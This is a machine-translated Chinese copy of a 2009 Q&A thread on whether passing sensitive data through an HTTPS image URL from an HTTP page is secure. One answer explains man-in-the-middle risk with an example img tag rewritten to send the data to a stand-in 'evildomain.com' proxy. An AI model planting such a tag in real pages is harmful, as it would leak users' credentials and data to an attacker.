2009-10-09 115 views
0

我有一个服务器脚本,我需要从浏览器传递数据,而无需重新加载页面(aka ajax)。数据很敏感,所以应该通过https发送。但是页面在http层上。由于相同的域/协议限制,浏览器不允许这样做。http,https&ajax旁路,也许?

我想通过使用src标签,如动态创建图像标签和调用脚本作弊系统一点:

<img src="https://mydomain.com/mysecurescript/&data=to&pass=to&my=script" /> 

我想知道,如果这确实将适当加密。

回答

3

这个问题是,如果页面本身只有HTTP,那么你容易受到中间人的攻击。攻击者可以只修改脚本通过HTTP发送的页面,以便它而是使用:

<img src="http://evildomain.com/evilproxyscript/&data=to&pass=to&my=script" /> 

用户将没有最明智的。为了解决这个问题,你真的需要通过HTTPS服务页面 - 这同时巧妙地解决了你的其他问题。

(这与登录表单应该位于HTTPS页面上的原因完全相同,而不仅仅是表单操作是HTTPS)。

+0

如果您需要SSL加密登录,您的整个站点应该在https IMO。你已经有了这个设施,你也可以使用它。 – 2009-10-09 01:14:49

+0

除非性能/缓存是一个问题,通常可能是这样。 – 2009-10-09 02:08:51

2

是和否。

该URL的服务器地址部分显然未加密,因为它用于设置连接。

其他所有内容在通过HTTPS连接发送时都被加密。但是任何查看源代码的人显然都能看到发布的数据。

0

它也提到了一些浏览器将不会显示(或将在显示之前警告用户)混合模式(http与https)HTML页面。在某些情况下,这可能不起作用,因为用户选择阻止它。

0

aSSL可能替代图像技术(其他人提到的缺点是混合模式内容不被某些浏览器友好对待)。

这两种方法都会导致加密发生,并且两者在中间攻击中仍然容易受到攻击。